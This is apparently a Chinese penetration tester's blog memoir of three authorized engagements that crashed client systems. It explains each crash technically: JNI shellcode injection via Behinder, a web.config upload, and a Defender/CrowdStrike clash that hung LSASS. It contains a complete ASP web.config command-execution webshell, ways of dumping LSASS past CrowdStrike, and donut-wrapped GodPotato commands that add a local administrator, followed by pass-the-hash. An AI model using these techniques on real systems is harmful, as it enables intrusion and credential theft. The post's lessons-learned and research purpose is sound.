本文首发于先知社区 https://xz.aliyun.com/news/91353

回忆我这几年的失误和技术误解,并且分享有趣的故事—-几次打崩系统的故事,并且从中总结失败的教训,回忆稍显繁琐。本人已经没有参加任何比赛性质的攻防演练,均直接服务于项目,如有雷同,纯属巧合,所有渗透行为均合法授权,请不要瞎溯源。

第一次崩溃

大概是刚毕业出来工作的时候,在那个时候我还是个新手菜鸟,摆弄着各种大佬写的工具,那个时候,我开始熟悉冰蝎和Cobaltstirke,我发现了一个震惊我的功能,冰蝎居然能”一键上线CS“,对于不懂jni、汇编、架构和系统的那个时候的我,我震惊的,本地搭建环境测试了还成功了,轻松吊打360\微软DF,一个webshell 怎么可能打入EXE在内部执行?

但是测试过程出了一个问题,在我的本机搭建的环境测试非常顺利,一键上线绕过了我们国内主流的杀毒,上线执行命令一切正常,而我朋友Arui的机器上测试,每次都会崩溃,我们开始争辩,但是你懂的,讨论不出什么结论,因为我们那个时候知识有限,我们当时不得不得出这个技术不稳定的错误结论,哈哈哈。

那么到底为什么?

我和周边的朋友都是web出身的,基本上搞二进制的凤毛麟角,同时懂web和二进制这两个就更少了,22年当初问了一圈都没人能回答这个问题,过了几年,我开始掌握二进制的知识,然后翻阅了更新日志,看到了下面一条。

https://github.com/rebeyond/Behinder/releases

内存马shellcode注入前增加了CPU架构判断

chrome_wargqNMEJQ.png

4.1版本之前内存马shellcode居然没有CPU架构判断,所以答案已经很明晓,强制给32位的java塞一个64位的dll,架构都不一样肯定崩溃,也就是我同事的环境,可能还在用32位的java+windows测试环境,这要是实战,我们只能得出对面关闭了网站

我们再看一下源代码,这个是之前的64位和32位的判定:

https://github.com/MountCloud/BehinderClientSource/blob/d146e76ec90dbb5f1454dd77ec8e2368b4eadf6f/src/main/java/net/rebeyond/behinder/ui/controller/ReverseViewController.java#L181

chrome_ex0bWK938v.png

选择随机保存dll到如下目录

String remoteUploadPath = "c:/windows/temp/" + Utils.getRandomString((new Random()).nextInt(10)) + ".log";

判定架构进入分支

(String)this.basicInfoMap.get("arch")).toString().indexOf("64") >= 0

是64位直接打入JavaNative_x64.dll,否则打入JavaNative_x32.dll

if os == 64:
	inject JavaNative_x64.dll and shellcode
else:
	inject JavaNative_x32.dll and shellcode

这样写修复了x86-64的问题,但是很明显,全世界有大量不同的架构,比方说ARM架构和RISC-V,这样就会直接进入inject JavaNative_x32.dll and shellcode打崩JVM

深入解释原因

等等,刚刚的就是正确的答案吗,崩溃的含义是什么?刚刚我们并没有解释清楚哪里崩了,对吧?已经是3年前的事情了,如果有dumpcrash的文件,我瞄一眼就能定位,但现在我只能尝试推测还原,让我们把问题分解开来,其实就是三部分:windows的问题、java自己的问题、载入的dll的问题:

chrome_0Gy5pMikzD.png

首先,先理解JNI的本质只是调用LoadLibrary,一个64位的java.exe PE调用LoadLibrary加载32位的DLL是不会导致崩溃的,你可以编译一个64位的PE验证这一观点,它只会返回一个错误code回来,这可不会带崩进程和后续代码的执行逻辑:

// demo.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <Windows.h>

int main()
{
    std::cout << "SysWOW64 is 32 bit PE!\n";
    LoadLibraryA("C:\\Windows\\SysWOW64\\ntdll.dll");
    std::cout << "the lasterror is " << GetLastError() << std::endl;
    std::cout << "It is ok the countine execute code\n";
}

执行结果如下:

devenv_TPfNfsZBiY.png

只是位数不对,windows会返回错误代码:ERROR_BAD_EXE_FORMAT 193 (0xC1),这是EXE架构不匹配,排除系统的问题,系统容错是很高的。

我虽然不懂java,但还算比较熟悉windows系统和c++,java本身也是c++写的,直接源码分析看看java它自己是怎么处理异常的,它会自杀退出吗?

void * os::dll_load的函数实现:

https://github.com/openjdk/jdk/blob/78c2d57259ad829a2cfc1370efbb2a5913df4661/src/hotspot/os/windows/os_windows.cpp#L1716

void * os::dll_load(const char *name, char *ebuf, int ebuflen) {
  log_info(os)("attempting shared library load of %s", name);
  Events::log_dll_message(nullptr, "Attempting to load shared library %s", name);

  void* result;
  JFR_ONLY(NativeLibraryLoadEvent load_event(name, &result);)
  result = LoadLibrary(name);
  if (result != nullptr) {
    Events::log_dll_message(nullptr, "Loaded shared library %s", name);
    // Recalculate pdb search path if a DLL was loaded successfully.
    SymbolEngine::recalc_search_path();
    log_info(os)("shared library load of %s was successful", name);
    return result;
  }

  if (ebuf == nullptr || ebuflen < 1) {
    // no error reporting requested
    return nullptr;
  }

  DWORD errcode = GetLastError();
  // Read system error message into ebuf
  // It may or may not be overwritten below (in the for loop and just above)
  lasterror(ebuf, (size_t) ebuflen);
  ebuf[ebuflen - 1] = '\0';
  Events::log_dll_message(nullptr, "Loading shared library %s failed, error code %lu", name, errcode);
  log_info(os)("shared library load of %s failed, error code %lu", name, errcode);

  if (errcode == ERROR_MOD_NOT_FOUND) {
    strncpy(ebuf, "Can't find dependent libraries", ebuflen - 1);
    ebuf[ebuflen - 1] = '\0';
    JFR_ONLY(load_event.set_error_msg(ebuf);)
    return nullptr;
  }

  // Parsing dll below
  // If we can read dll-info and find that dll was built
  // for an architecture other than Hotspot is running in
  // - then print to buffer "DLL was built for a different architecture"
  // else call os::lasterror to obtain system error message
  int fd = ::open(name, O_RDONLY | O_BINARY, 0);
  if (fd < 0) {
    JFR_ONLY(load_event.set_error_msg("open on dll file did not work");)
    return nullptr;
  }

  uint32_t signature_offset;
  uint16_t lib_arch = 0;
  bool failed_to_get_lib_arch =
    ( // Go to position 3c in the dll
     (os::seek_to_file_offset(fd, IMAGE_FILE_PTR_TO_SIGNATURE) < 0)
     ||
     // Read location of signature
     (sizeof(signature_offset) !=
     (::read(fd, (void*)&signature_offset, sizeof(signature_offset))))
     ||
     // Go to COFF File Header in dll
     // that is located after "signature" (4 bytes long)
     (os::seek_to_file_offset(fd,
     signature_offset + IMAGE_FILE_SIGNATURE_LENGTH) < 0)
     ||
     // Read field that contains code of architecture
     // that dll was built for
     (sizeof(lib_arch) != (::read(fd, (void*)&lib_arch, sizeof(lib_arch))))
    );

  ::close(fd);
  if (failed_to_get_lib_arch) {
    // file i/o error - report os::lasterror(...) msg
    JFR_ONLY(load_event.set_error_msg("failed to get lib architecture");)
    return nullptr;
  }

  typedef struct {
    uint16_t arch_code;
    char* arch_name;
  } arch_t;

  static const arch_t arch_array[] = {
    {IMAGE_FILE_MACHINE_AMD64,     (char*)"AMD 64"},
    {IMAGE_FILE_MACHINE_ARM64,     (char*)"ARM 64"}
  };
#if (defined _M_ARM64)
  static const uint16_t running_arch = IMAGE_FILE_MACHINE_ARM64;
#elif (defined _M_AMD64)
  static const uint16_t running_arch = IMAGE_FILE_MACHINE_AMD64;
#else
  #error Method os::dll_load requires that one of following \
         is defined :_M_AMD64 or _M_ARM64
#endif


  // Obtain a string for printf operation
  // lib_arch_str shall contain string what platform this .dll was built for
  // running_arch_str shall string contain what platform Hotspot was built for
  char *running_arch_str = nullptr, *lib_arch_str = nullptr;
  for (unsigned int i = 0; i < ARRAY_SIZE(arch_array); i++) {
    if (lib_arch == arch_array[i].arch_code) {
      lib_arch_str = arch_array[i].arch_name;
    }
    if (running_arch == arch_array[i].arch_code) {
      running_arch_str = arch_array[i].arch_name;
    }
  }

  assert(running_arch_str,
         "Didn't find running architecture code in arch_array");

  // If the architecture is right
  // but some other error took place - report os::lasterror(...) msg
  if (lib_arch == running_arch) {
    JFR_ONLY(load_event.set_error_msg("lib architecture matches, but other error occured");)
    return nullptr;
  }

  if (lib_arch_str != nullptr) {
    os::snprintf_checked(ebuf, ebuflen,
                         "Can't load %s-bit .dll on a %s-bit platform",
                         lib_arch_str, running_arch_str);
  } else {
    // don't know what architecture this dll was build for
    os::snprintf_checked(ebuf, ebuflen,
                         "Can't load this .dll (machine code=0x%x) on a %s-bit platform",
                         lib_arch, running_arch_str);
  }
  JFR_ONLY(load_event.set_error_msg(ebuf);)
  return nullptr;
}

很明显java有异常处理,java写这么多年不至于这点容错都没有,加载错位数只会导致java抛出异常,不应该导致java直接崩溃,如果走jni技术搞错dll的位数—不可能打入shellcode,压根没走到dll加载函数,shellcode就更不可能跑起来了,进程崩溃时间应该是在jni载入之前,java的jni技术本身应该是非常稳定的。

我们实际测试代码看看,先实现一个native代码:

package com.endlessparadox;  
  
public class NativeApi {  
  
    public native int demo(int a, int b);  
  
    public int demoSafe(int a, int b) {  
        return demo(a, b);  
    }  
}

之后生成一下头文件去VS里面实现一下这个PE dll:

javac -h include ./endlessparadox/NativeApi.java

只需要包含进来,然后编译不同位数的pe即可:

#include "pch.h"
#include "com_endlessparadox_NativeApi.h"

JNIEXPORT jint JNICALL Java_com_endlessparadox_NativeApi_demo(JNIEnv* env, jobject obj, jint a, jint b) {
    
    printf("testing load");
    return a + b;  // 示例实现
}

你可能看上面这个比较迷惑,其实上面的完全等价于下面的代码,java自己约定的:

#include "pch.h"
#include "com_endlessparadox_NativeApi.h"

__declspec(dllexport) long __stdcall Java_com_endlessparadox_NativeApi_demo(JNIEnv* env, jobject obj, long a, long b) {
    
    printf("testing load");
    return a + b;  // 示例实现
}

编译出来的PE和我们正常的PE一模一样,导出表导出了Java_com_endlessparadox_NativeApi_demo函数:

PE-bear_E8YmAQ5xc3.png

我们编写一个加载:

package com.endlessparadox;  
  
public final class NativeLoader {  
  
    private static volatile boolean loaded = false;  
    private static volatile Throwable loadError = null;  
    private NativeLoader() {}  
    /**  
     * 尝试加载 native 库(只会执行一次)  
     */  
    public static boolean load() {  
        if (loaded) {  
            return true;  
        }  
        synchronized (NativeLoader.class) {  
            if (loaded) {  
                return true;  
            }  
            try {  
                // x64  
                //System.load("C:\\Users\\hacker\\source\\repos\\NativeApi\\x64\\Release\\NativeApi.dll");                // x32                System.load("C:\\Users\\hacker\\source\\repos\\NativeApi\\Release\\NativeApi.dll");  
                loaded = true;  
                return true;  
            } catch (Throwable t) {  
                loadError = t;  
                return false;  
            }  
        }  
    }  
  
    public static boolean isLoaded() {  
        return loaded;  
    }  
    public static Throwable getLoadError() {  
        return loadError;  
    }  
}

然后main里面调用它:

package com.endlessparadox;  
  
public class Main {  
  
    public static void main(String[] args) {  
  
        if (!NativeLoader.load()) {  
            System.err.println("JNI load failed");  
            NativeLoader.getLoadError().printStackTrace();  
            // 可选择 return / fallback        }else {  
            NativeApi api = new NativeApi();  
            int r = api.demoSafe(2, 3);  
            System.out.println("result = " + r);  
        }  
  
        System.out.println("this is end");  
    }  
}

执行,done,异常抓到了,代码继续执行:

idea64_1KaphHNLZO.png

主线程如果不处理异常会直接抛出,多年前的稳定的崩溃是打入JNI的时候没有正确处理java.lang.UnsatisfiedLinkError异常,直接抛出这个就会带崩整个JVM,但是只要正确的处理异常,很明显没有任何问题,搞错即便是搞错了架构。

查阅资料的时候,不得不提,《Java内存攻击技术漫谈》中说到可以泄露jvm基地址,找到内存布局是RWX内存区域,直接写入执行原生的shellcode以此绕过RASP等高级防御 —- https://xz.aliyun.com/news/9525 ,这篇技术显然可以直接通过执行java代码原始打入shellcode,如果是原生shellcode打入直接不看架构打入是必定崩溃的,不过目前来看,一键上线并没有使用这个技术。

(即使经过正确处理,这项技术如果直接打入已有的RWX内存,原有的业务RWX内部数据毋庸置疑会被破坏,我现在的水平对PWN一无所知,但很明显这项技术绝非一般人能武器化使用,也不是能直接一键利用的)

现在综合上面这些可以得出结论了,JNI打shellcode是稳定的,多年前我和朋友讨论的结论是错的。

第二次崩溃

多年前,这是我某次渗透项目的时候,我通过弱口令拿到了后台+aspx文件上传,我很确定这个点能利用,我上传了一个探测的aspx,但是很遗憾,360杀毒阻挡了我的webshell,我不懂aspx的免杀,那个时候连aspx的语法都不懂,工具生成的aspx肯定拦截,我找了半天的免杀工具也不行。

然后我突发奇想,某个web.config的webshell似乎免杀性很强,而且不拦截后缀,这个操作应该可以,说干就干,我找来了如下的webshell:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<%
Response.Write("-"&"->")

Function GetCommandOutput(command)
    Set shell = CreateObject("WScript.Shell")
    Set exec = shell.Exec(command)
    GetCommandOutput = exec.StdOut.ReadAll
End Function

Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))
Response.Write("<!-"&"-")
%>
-->

我一顿操作,上传了config,好消息是360不杀了,坏消息是靠,这个shell压根没办法正常工作,这个config连带的我的探测的aspx代码都没办法正常工作了。

一堆操作不行,后面我尝试进行了如下操作:

../web.config

路径穿越的上传成功了,然后就全站500了,直接报错,找了个网图大概是如下:

Pasted image 20251231142102.png

哈哈哈,那个时候我太菜了,不用说想必都知道了,路径穿越覆盖掉了真正的web.config直接带崩整个网站,为了避免麻烦,我连忙和客户汇报打崩系统的事,让客户恢复系统了

探究使用范围

即便是现在,我对.net的利用依然不算熟练,也是向半块西瓜皮大佬学习一下,总结来说大概如下:

  • buildProviders不能在子目录的web.config配置,也就是说文件目录的web.config是不能直接拿来作为aspx,所以这种方式通常只能在 站点根目录 生效,但是覆盖大概率会导致全站500,所以非常危险
  • IIS 启用集成模式或者经典模式

即便是满足了上面的要求,依然有可能被更优先的.config锁死后面的处理:

Pasted image 20251231193209.png

虽然隐蔽免杀,这玩意用起来条件也多,也不是能一把梭的技术,当初完全不懂就拿来用了,肯定崩了,实战还是得用传统aspx的webshell

第三次崩溃

时间快进到几年后,经过我每天的努力学习和研究,虽然还有很多知识点不懂,到这个时间我已经对大部分的技术会在实战前进行充分的测试了,加上仔细研读工具源代码,对于windows系统机制的理解显著上升,我的实力已经很难犯前面的低级的错误。

不过,事情也有意外,在某次和客户直接的红队项目,我们通过外围的springboot漏洞打进了一台linux服务器,获取了一个入口后,探测内网,进行内网信息收集和扫描,经过分析后总结以下情况。

  1. 服务器均不出网,使得必须搭建类似suo5的正向隧道继续向里面打
  2. 对面内网环境存在AD环境,但是入口linux未能找到任何与AD有关的凭据,只找到关联web的数据库,获取少量的数据分数
  3. 内网无任何RDP、数据库弱口令和常见类似fscan和gogo能找到的漏洞

我必须要跳到AD那边,经过耐心的信息收集,我在内网环境的一个Web后台(弱口令)找到了一个IT账户的账户密码–IT.A,获取了和域控的交互权限,运行rusthound后,我很快就看到了控制整个AD的攻击路径,最核心的内容,就是如下图:

chrome_hPEVtYvnsg.png

IT.A是普通域用户,但是好在有RDP权限给我计算环境,服务器A已经有管理员登录过,只要能提权上去,我可以瞬间变成域管理员。win 2012 r2的版本特别老,我掏出之前写好的内核提权EXP,在RDP环境就瞬间弹出了system cmd窗口。

我很自然的用这个system cmd窗口添加了一个新的本地管理员账户,我不想动原来客户账户的权限,何况现在服务器A不出网,我也懒得搞内网的dns上线,或者类似VPN隧道做一些旋发,这些都太麻烦了,既然已经有RDP和445端口了,我就直接用这个账户正向再登录上来。

虽然有Crowdstrike但是问题不大,我之前本地测试有两种方法可以绕过:一种是通过硬件断点执行minidump,另一种是通过白签名的procexp.exe手动UI右键执行dump内存,这两个方法都能绕过crowdstrike

(2012版本系统不支持PPL(PsProtectedSignerLsa-Light),直接minidump就行了,新版本也不是默认开启的)

第一个当时写的是coff,懒得上线C2或者coff loder加载,所以选用了第二个,大概是这个位置,UI上右键create dump -> minidump/full dump:

procexp64_98e3xNlz1l.png

我手动点击了dump突然windows Defender弹出了个dump告警,识别到了我的dump文件,等了几秒,我的RDP断开了,我丢失了我的RDP会话,之后也再也无法登录进2012 R2的服务器里面,系统的smb认证和rdp认证都失效了。

Pasted image 20251231193618.png

所以,为什么会出现这种情况?我思考了不超过3分钟意识到了问题所在,LSASS是一个关键进程,它是认证处理的核心环节,如果LSASS出现问题,所有的windows 认证会连带出问题,也就我观察到的意味着RDP\SMB的失效,以下是猜测的结论图片:

chrome_bKVBHjfdNW.png

该死,我的潜意识认为类似Crowdstrike的商业环境会默认顶掉Windows Defender,实际上大多数情况下也是如此,但是这个客户的情况比较特殊,它的Defender和Crowdstrike都打开了,使得我手工用procexp成为了问题,我们现在深入分析一下到底怎么回事?

深入分析原因

为了方便和快速追踪API的调用,我这里使用firda hook追踪工具,快速追踪潜在的dump调用

frida-trace -i "MiniDumpWriteDump" .\procexp.exe

WindowsTerminal_uRfdpSYF8V.png

没找到函数,这是什么情况,我把procexp.exe拖进IDA里面看看导入表,按道理应该是用MiniDumpWriteDump的吧,还真没有Dbghelp,不应该啊:

vmware_MGBdfN2dRB.png

程序的细节可能遗忘,但是我应该不至于记错核心原理,全局搜索一下MiniDumpWriteDump字符串,果然找到了MiniDumpWriteDump:

vmware_qUCRhX1kSR.png

翻了一下text,找到了如下反编译代码,一眼就看出这不就是动态寻址,GetProcAddress传递函数指针,firda有点坑啊,这都没hook到:

MiniDumpWriteDump = (BOOL (__stdcall *)(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, PMINIDUMP_EXCEPTION_INFORMATION, PMINIDUMP_USER_STREAM_INFORMATION, PMINIDUMP_CALLBACK_INFORMATION))GetProcAddress(v9, "MiniDumpWriteDump");

vmware_AqhzthANSR.png

v9参数向上找,大致逻辑是判定不同地方的dbghelp.dll然后传递过来:

vmware_QPYB0j9Y93.png

接下来去dbghelp.dll逆向看看,发现压根没有MiniDumpWriteDump函数导出,找了半天发现MiniDumpWriteDump实际上是在dbgcore.dll里面导出的(不同版本系统可能不一样?WTF?):

vmware_fXtChKOfdv.png

逆向这类有文档的函数还算轻松,核心的技巧的把已有微软给出的函数类型传播到逆向内部,观察内部机制处理是如何分发处理的即可:

BOOL MiniDumpWriteDump(
  [in] HANDLE                            hProcess,
  [in] DWORD                             ProcessId,
  [in] HANDLE                            hFile,
  [in] MINIDUMP_TYPE                     DumpType,
  [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

阅读文档,我们知道DumpType的MINIDUMP_TYPE 枚举类型:

chrome_Q5vPnSnV9O.png

继续看文档,我们知道了dbghelp在这一点发生了很多变动:

chrome_Cje24vHKAI.png

大概扫一眼,我知道了大概有如下的类型,枚举类型用来做控制流分发,MiniDump的类型:

chrome_ylP9jHxwcw.png

其中两个可以注意一下,这不就是我们工具里面控制的dump选择?

MiniDumpNormal MiniDumpWithFullMemory

跟踪一遍静态逆向反编译出来处理逻辑大致如下:

设置线程标志位,准备前期状态:

vmware_xCJvrtTzT9.png

创建uuid,使用遥测函数记录这次dump日志情况,同时分配堆内存,如果分配失败就直接退出,并且恢复线程状态

vmware_mIHAjBY85N.png

继续向下,中间逆向都是这种指针偏移转换调用,好在有log函数的字符串可以辅助我们理解

(struct MiniDumpAllocationProvider **)(*(__int64 (__fastcall **)(struct MiniDumpAllocationProvider *, __int64))(*(_QWORD *)v15 + 8LL))

DetermineOutputProvider这一部分观察到都是处理回调机制的部分

vmware_ev2qy5NL0t.png

继续向下,如果存在指向 MINIDUMP_EXCEPTION_INFORMATION 的指针就继续进行分发处理:

vmware_zgxMhyjwGk.png

处理完毕后,进入MiniDumpProvideDump函数,观察到类型被传递进函数:

vmware_I5LXAT0aov.png

进入这个MiniDumpProvideDump函数逆向,果然不出我们之前预料,一大堆运算换算出dumptype的类型用于控制后续真正dump行为:

vmware_tAWKO0NStM.png

回到主函数,根据结果记录,最后清理恢复线程状态:

vmware_UHbOU7e8lH.png

回顾IDA逆向流程,我们观测到了大量遥测的Telemetry相关函数和机制,如下:

vmware_4gamQiPNrE.png

我们追踪一下逆向这个函数TelemetryLogFunctionCallWithResult,反编译不长我就贴出来了:

void __fastcall TelemetryLogFunctionCallWithResult(
        struct _GUID *p_Uuid,
        const unsigned __int16 *MiniDumpCreateLiveAllocationProvider,
        int dwErrCode)
{
  __int64 v6; // rax
  int n2; // eax
  int dwErrCode_1; // [rsp+38h] [rbp-39h] BYREF
  __int64 n0x2000000; // [rsp+40h] [rbp-31h] BYREF
  struct _EVENT_DATA_DESCRIPTOR UserData[2]; // [rsp+48h] [rbp-29h] BYREF
  __int64 *p_n0x2000000; // [rsp+68h] [rbp-9h]
  __int64 n8; // [rsp+70h] [rbp-1h]
  struct _GUID *p_Uuid_1; // [rsp+78h] [rbp+7h]
  __int64 n16; // [rsp+80h] [rbp+Fh]
  const wchar_t *FunctionResult; // [rsp+88h] [rbp+17h]
  __int64 n30; // [rsp+90h] [rbp+1Fh]
  const unsigned __int16 *MiniDumpCreateLiveAllocationProvider_1; // [rsp+98h] [rbp+27h]
  int n2_1; // [rsp+A0h] [rbp+2Fh]
  int v19; // [rsp+A4h] [rbp+33h]
  int *p_dwErrCode; // [rsp+A8h] [rbp+37h]
  __int64 n4; // [rsp+B0h] [rbp+3Fh]

  AcquireSRWLockShared(&g_telemetry_lock);
  if ( g_telemetryEnabled
    && (unsigned int)n5 > 5
    && (qword_180033010 & 0x400000000000LL) != 0
    && (qword_180033018 & 0x400000000000LL) == qword_180033018 )
  {
    dwErrCode_1 = dwErrCode;
    p_dwErrCode = &dwErrCode_1;
    n0x2000000 = 0x2000000;
    n4 = 4;
    if ( MiniDumpCreateLiveAllocationProvider )
    {
      v6 = -1;
      do
        ++v6;
      while ( MiniDumpCreateLiveAllocationProvider[v6] );
      n2 = 2 * v6 + 2;
    }
    else
    {
      MiniDumpCreateLiveAllocationProvider = (const unsigned __int16 *)&unk_18002B964;
      n2 = 2;
    }
    n2_1 = n2;
    v19 = 0;
    FunctionResult = L"FunctionResult";
    MiniDumpCreateLiveAllocationProvider_1 = MiniDumpCreateLiveAllocationProvider;
    p_n0x2000000 = &n0x2000000;
    n30 = 30;
    p_Uuid_1 = p_Uuid;
    n16 = 16;
    n8 = 8;
    tlgWriteTransfer_EventWriteTransfer(&n5, byte_18002FD56, 0, 0, 7u, UserData);
  }
  ReleaseSRWLockShared(&g_telemetry_lock);
}

观察到了tlgWriteTransfer_EventWriteTransfer,继续向下走进一步分析,调用就不就是EventWriteTransfe,就是写入ETW事件追踪,遥测这一套机制就是用的ETW创建、追踪、删除一套,中间参数都是经典的填结构体,直接转写内核日志。

vmware_gGdHkMgS2T.png

显而易见,遥测日志未免有些噪音太大了,高手都不会直接调用dbghelp.dll的导出的mindump,而是使用自己定义的minidump,诸如类似NaiveDump的原始实现,就拿这个作者的图片来说,直接用NtQueryVirtualMemory+NtReadVirtualMemory给其他进程读出来,降低了刚刚上面我们分析出来的ETW内核遥测可能被其他安全产品察觉的可能性:

Pasted image 20260119213103.png

其他函数我大致看了一下,由于这个MiniDumpWriteDump使用了大量c++虚函数,全是难以理解的指针乱飞,理解起来非常耗费时间,即使是高手静态逆向起来也会非常痛苦,点到为止了。为了读者更加直观看区别,我录制了动态的视频上传到了哔哩哔哩,读者可以访问下面地址来观看我的演示:

https://www.bilibili.com/video/BV1oHz7BzEgC/

上面视频里面讲解的大致逻辑就是,此工具触发dump都会MiniDumpWriteDump,第一个不会影响进程运行,第二个会锁住进程,触发潜在的卡死可能,这种情况在有多个EDR的情况会变得更加特殊,更加容易导致进程崩溃。

chrome_sbb4WWMyVA.png

整个流程显而易见,procexp执行minidump挂起了lsass准备写入dump文件,但是Windows Defender检测到了,锁死了dump文件,它要删除它,dump不完成lsass卡住了,就这样锁死了整个windows认证过程,而这次研究我们也发现了为什么进程反射能绕过EDR的原因,根据windows机制部分EDR压根没办法介入内核这个内存创建的流程。

演练中断与继续

我们很快就告知了客户情况,现在必须要物理访问重启这台认证出问题的windows机器,大概沟通如下:

  • 我们渗透过程出了一些意外,导致xxx的系统认证出问题了,xxx看是否影响大,能不能重启一下?
  • xxxx, ok,我们评估过了,是一台老的xxx服务,影响不大,我们这边vcenter控制台重启了

ok,客户没有太多抱怨,所幸影响较小,只是一台无关紧要的服务,一段时间恢复后,让我们继续进行红队评估。我很顺利的用之前添加的管理员权限登了进来,然后我们很快意识到了了一个问题。oh,god~!重启系统把域管理员登录会话清空了,没有域管理员,这台机器已经不能到域控了,情况再次回到原地。

chrome_0WDgdGEgER.png

团队情况都陷入死局,域上的类似委派和ADCS都没有和路径能通向域管理员,分析bloodhound虽然有几条展示了有趣的路径,但团队都困在了这了,扫描器并没有展示给我们真正的有价值的东西,只能手动分析了。

我对服务器B有rdp权限,我登上去检查了服务器,我手工检查了服务,希望能找到一些有趣的凭据,我发现服务器B居然有d盘,而且d盘很大,我翻找了一会,发现了d盘的web,一开始我的思路往数据库密码方向找浪费了不少时间,重新整理思路如下所示:

chrome_uKQtl1HqhT.png

如果没有windows 0day,我们是不可能直接提权到system,幸运的是d盘是一个ACL不严谨的盘,意味着任何认证的用户都能写入文件,客户的网站为了节省c盘空间,指定到了d盘,但这也意味着任意用户包括我可以放置一个webshell使得我变成iis用户,done!这下简单了,你肯定想到了GodPotato,我也立刻想到了。

很明显没办法直接拿来用,crowdstrike正在运行!静态杀文件,我只能用donut转换GodPotato成为shellcode,直接指定参数添加一个本地管理员过去,然后我写好免杀的aspx的webshell,外部访问一下直接回调执行shellcode,done,整个过程一气呵成,crowdstrike只烦了我一会:

chrome_Y98NOUcFjJ.png

考虑到还有新人看我博客,我得补充一下,donut其实是可以在转shellcode的时候指定参数的,非常方便,这样转换exe成为shellcode就解决了很多麻烦,虽然二开也很快,但是我也一样懒,喜欢直接转换的时候写死参数,这样转换GodPotato就能指定命令添加管理员了,类似命令如下,转换后直接打入就行了:

donut.exe -i  GodPotato-NET4.exe -p "-cmd \"cmd /c net user hacker /add\""
donut.exe -i  GodPotato-NET4.exe -p "-cmd \"cmd /c net localgroup administrators hacker /add\""

chrome_QPCLD6IpMh.png

一旦我获得了最高权限system权限,非常流畅的抓取这台机器的本地hash执行pash the hash的操作。让我再啰嗦两句,刚入门的师傅经常会混淆本地pash 和域内pash,dump 本地的SAM文件拿到的是本地管理员机器的hash,dump lsass进程拿到了域内认证的hash,就如下所示:

chrome_PnFR4UDGyD.png

执行PASH THE hash操作,我拿到了一批服务器的权限,其中的一台正好有域管理员权登录的痕迹:

chrome_hpFx0X0Rfa.png

非常好,到这一步就我已经是C的本地管理员了,直接dump c的lsass进程即可获取域管理员权限。大部分人都理解这一部分,但是为什么要pash the local hash呢?

实际上综合我的经验和客户讨论红队评估改进工作会议发现,本质原因是:

大部分企业,他们在创建服务器的时候,特别是自建的那种,实际上会拷贝虚拟机(就在类似vcenter里面,其他都大同小异,他们拷贝有自动化的windows sid处理,预防冲突,但是没改密码,哈哈哈),也就是说本地管理员密码非常容易在运维拷贝的时候重复,而这部分真是bloodhound的盲区,工具没办法绘制出来这样的攻击路线,更别提之前的提权方法 。

大致攻击原理如下:

chrome_wUEGAX1pNO.png

这种技巧屡试不爽,应该而且不难理解这类问题是动态发生的,我刚刚说的还是一个小类,实际上密码复用的问题真的非常严重,防守方无意识操作诞生了很多类似的攻击路径,除非防守方完全理解并且建立了相应的运维规定,否则这类问题会一直存在下去。

回到之前的分析,就像我一样,有经验的黑客需要分析工具盲区之外的点,这也许能通往真正的攻击路径,就如刚刚分析的一般,我找到了,成为了域管理员击穿了域,整个过程就花了不到48个小时,挽回了老师傅的面子,哈哈哈,我好歹苦练了这么多年,还是有些神通的。

后记

这是我本科毕业三年半第一次写这样的回忆录,时间真是一晃而过,我印象中,实际远不止三次,类似比赛中zerologon打脱域、在客户项目沟通模拟攻击锁死全局入站流量这种事情也发生了不少,当牛马就少不了和客户吹牛逼,好在和客户及时沟通,加上签署了渗透测试的授权书也就没啥大问题。总结下来,作为一个优秀的黑客,最好使用这些高级技术、奇技淫巧之前搞清楚底层机制,可能会发生什么后果,只是拿来就用可能会造成一些不可预料的后果。最后,师傅们新年愉快,happy hacking!

参考资料:

https://xz.aliyun.com/news/17574 https://learn.microsoft.com/en-us/shows/defrag-tools/9-procdump https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump--psscapturesnapshot 《深入解析Windows操作系统-中文版》— 395页 — 进程反射机制